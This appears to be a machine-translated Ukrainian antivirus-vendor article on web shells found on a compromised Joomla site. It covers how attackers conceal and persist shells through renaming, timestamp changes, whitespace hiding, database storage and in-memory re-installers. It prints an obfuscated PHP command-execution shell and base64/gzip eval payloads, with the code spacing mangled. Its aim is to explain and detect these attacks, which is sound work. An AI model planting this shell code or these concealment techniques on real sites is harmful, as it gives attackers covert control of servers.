Слідами зломщиків

Прочитали: 3238 Коментарів: 81 Рейтинг: 100

якщо сайт зламують , Значить, це комусь потрібно - з метою заробітку. Зловмисники зацікавлені не тільки в тому, щоб змінити вміст зламаного сайту, але і в можливості управління шкідливим вмістом і його модифікації. Для цього використовуються веб-шелли.

Веб-шелл (web-shell) - це шкідливий скрипт (нагадаємо, що сайт - це в загальному випадку набір скриптів і оброблюваних ними даних), призначений для потреб зловмисників, - управління чужими сайтами і серверами, перебору паролів, доступу до файлової системи і т. п. Якщо у провайдера дані різних ресурсів і клієнтів не відокремлені один від одного, то впровадження шелла дозволяє зловмисникам отримати доступ відразу до безлічі сайтів.

Приклад, який розбирається в статті, - реальний, а сам інцидент стався влітку 2015 року.

Отже, сайт працює на Joomla версії 2.5.28. Причина звернення - блокування сайту з боку хостингу за спам-розсилку.

Результат Maldet: 84 шкідливих файлу.

https://revisium.com/kb/the_other_side_joomla.html

Чи можна виявити шкідливий шелл? Найпростіший метод: пробігтися по всіх файлів сайту, знайти серед них ті, які піддавалися змінами або з'явилися недавно, і проаналізувати їх.

Але зловмисники - не дурні і розуміють, що шкідливий вміст треба приховувати.

Перше що приходить в голову, це змінити назву на те, яке не викличе підозр (скажімо, functions.php).

Далі варто поміняти час створення / зміни файлу.

Також можна Shell вбудувати в уже існуючий PHP файл, але це краще робити з компактним шеллом.

https://blackdiver.net/it/linux/2491

1. Треба просто настворювала через JS купу рандомних вкладених тегів, в одному з яких і буде наш код, а решта - сміття. Тут навіть якщо хтось зважиться вручну прошерстить код, то бажання швидко поугаснет;
2. Для того щоб ускладнити, визначимо ознаки, за якими може здійснюватися пошук - за назвою тега "iframe", по URL, до якого робиться запит з нашого коду (цю інфу можна добути і через проксі, і через звичайну вкладку моніторингу мережі в панелі розробника в барузер). Тому наше завдання - не використовувати тег iframe і якось обфусціровать URL;
3. Тут в консолі будуть забивати щось типу document.getElementsByTagName ( "iframe") і дивитися на результат. Ускладнити можна, перевизначивши функцію getElementsByTagName або вирішивши завдання з пункту 2, не використовуючи iframe;

https://cryptoworld.su/продлить-существование-web-shell

А можна просто зрушити код за межі екрану (про подібний ми розповідали в випуск «Б'ємо ворога його ж зброєю» ).

Код при перегляді не відразу можна помітити, так як він навмисно «відбитий» пробільними символами вправо за межі видимої частини екрану (тому у нас завжди включений режим «перенесення рядків» в редакторі).

https://revisium.com/kb/the_other_side_joomla.html

Можна розбити шелл на кілька файлів, відокремивши власне шкідливі файли від модуля управління / завантаження нових модулів.

Можна вбудувати завантажувач шелла в існуючий скрипт. Цей шлях хороший в якості резервного. Якщо основний шелл стерли і вразливість закрили, то, можливо, залишився завантажувач, через який можна повторно закачати шелл.

https://blackdiver.net/it/linux/2491

Після проведеного аналізу ми розібрали функціонал виявлених "шкідливий" і класифікували їх. Результат в таблиці:

https://revisium.com/kb/the_other_side_joomla.html

Якщо файл використовує базу даних, його можна заховати туди.

Якщо текст сторінок зберігається в базі даних і CMS з яких-небудь причин не фільтрує PHP-код при виведенні тексту з бази на сторінку для кінцевого користувача, то ці скрипти цілком можуть жити в базі даних.

Але просто вмонтувати скрипт - теж не найкраща ідея (хоча деякі роблять і так). Якщо у власника сайту є резервна копія, то він може порівняти вміст файлів і побачити всі зміни, де б вони не ховалися. Після цього легко зрозуміти, що робить скрипт, звідки бере ресурси і т. Д.

Результатом такого аналізу може стати не тільки видалення скрипта, але і блокування джерел завантаження і адрес керуючих центрів зловмисників.

можна ... попередньо обфусціровать код, щоб він став не читаються.

Приклад легкої обфускаціі:

«? Php $ GLOBALS [ '_ 1225506814 _'] = Array ( '' .'exec '); ? »«? Php function _42307863 ($ i) {$ a = Array ( 'qwe', 'pwd', 'arr', '', ' «br»', ' «form action =', 'SCRIPT_NAME', ' ? pwd = ',' method = POST »« input name = arr / »« input type = submit / »« / form » '); return $ a [$ i];}?» «? php $ _0 = _42307863 ( 0); if ($ _ GET [_42307863 (1)] == $ _ 0) {$ _ 1 = $ _ POST [_42307863 (2)]; if (isset ($ _ 1) && $ _1! = _ 42307863 (3)) {$ GLOBALS [ '_ 1225506814 _'] [0] ($ _ 1, $ _ 2); foreach ($ _ 2 as $ _3) {echo ($ _ 3 ._42307863 (4));}} echo (_42307863 (5). $ _ SERVER [_42307863 (6)] ._42307863 (7). $ _ 0 ._42307863 (8));}? »

Приклад сильної обфускаціі:

«? Php eval (gzuncompress (base64_decode ( 'eNpTcffxd3L0CY5Wjze0NDU0NDA2jlePtXUsKkqs1EhKLE41M4lPSU3OT0nVUI9SV9BTj8jIAVGR5SDSFkJoaloDANpJEvM ='))); ? »«? Php eval (gzuncompress (base64_decode ( 'eNodjlFvgjAYRf + KDyRAtofWypwxPFiNOB5IiXQtGGNKP2Q4xIWBysz ++ xjJTc7JzX24x7bSTXGpRgfsjMmYTKfYMgr7YSh3Udeqs0wtoTSfTb2Bzx6x9LsefZjndyx33UGTqz6jPBYBUmLWsnCoOQq223fKJXJoxPmwJJQkK / Svbx4uwfu4JiscRjjg7HT / SiuKYUnbWOCSiXWnT5NXJZwbyDCHTXlLIvwDwm + UDJ / YcnZOid8MH + x5nTVtXY1S9Z29TA6Q6QtklqF2RrG3579 / 1nBGUA =='))); ? »«? Php eval (gzuncompress (base64_decode ( 'eNpVjsEKgzAMhl + lg6IGhjTtnBviYQPxIjh07FJKEFH0JMzdxHdf9VRPCd + f7yecREoYSSVVHGMgIBn7gFOevbWDEUyachKwcEK7vMr6kEswmzfOc / ezNoLnMTtObrUCa + dF + XwUtfYJ7xGiUIp8o4XZpDMnCUk / fbumHSyQrJlti4Kla4fJAsVCp + 8CkKzrHjk0AhZyqrPqk1Xuh1cwBzve78SB3bbGP0TaQso ='))); ? »

Це все той же простий шелл, але з шифруванням в base64. Він також буде виконуватися.

Очевидно, що часом знайти шкідливий код серед безлічі файлів сайту - завдання досить складна. Тому, якщо є можливість, витягаємо незараженную (можливо, вона вже містить шкідливий завантажувач) версію веб-ресурсу з резервної копії. Проблема закрита?

Суть цього нехитрого методу полягає в завантаженні певного скрипта в пам'ять, щоб він раз у деякий час перевіряв наявність web shell і при його відсутності вбудовувати його заново (або вантажив тимчасовий, через який ми б знову швидко вбудовували основний). Цей метод втрачає своє значення, коли відбувається перезавантаження сервера (а це подія для серверів досить рідкісне) або адмін сам виявляє дивний процес і вбиває його, але з цим можна щось зробити, щоб ускладнити завдання.

https://cryptoworld.su/бессмертный-shell-продолжаем-практику-web-shell

Наскільки складно знайти або створити подібний шкідливий код?

Взагалі Шелл в інтернеті ... їж ...

після прочитання цієї статті ви за кілька хвилин можете зібрати тяп-ляп шелл, який буде відмінно функціонувати.

В цьому і полягає проблема детектування Шелл: їх багато, і вони постійно змінюються. Але тим не менше антивірус і в цьому випадку приносить користь.

Сайт марно сканувати зовнішніми антивірусами і антивірусними сервісами, вони не покажуть факт злому, оскільки для детектування хакерських скриптів потрібно мати доступ до файлів сайту.

https://revisium.com/kb/the_other_side_joomla.html

Природно, факт злому антивіруси не виявлять, вони для цього і не призначені. Чи не визначать вони, швидше за все, і факт додати новий код в існуючі скрипти - чим це відрізняється від роботи веб-майстра? Але ось завантаження шкідливих файлів і відомих шелл-кодів антивірус визначити може.

Протидія йде повним ходом, навіть убогий Microsoft Security Essentials навчився впізнавати його сигнатури.

https://alkoweb.ru/obzor-php-veb-shellov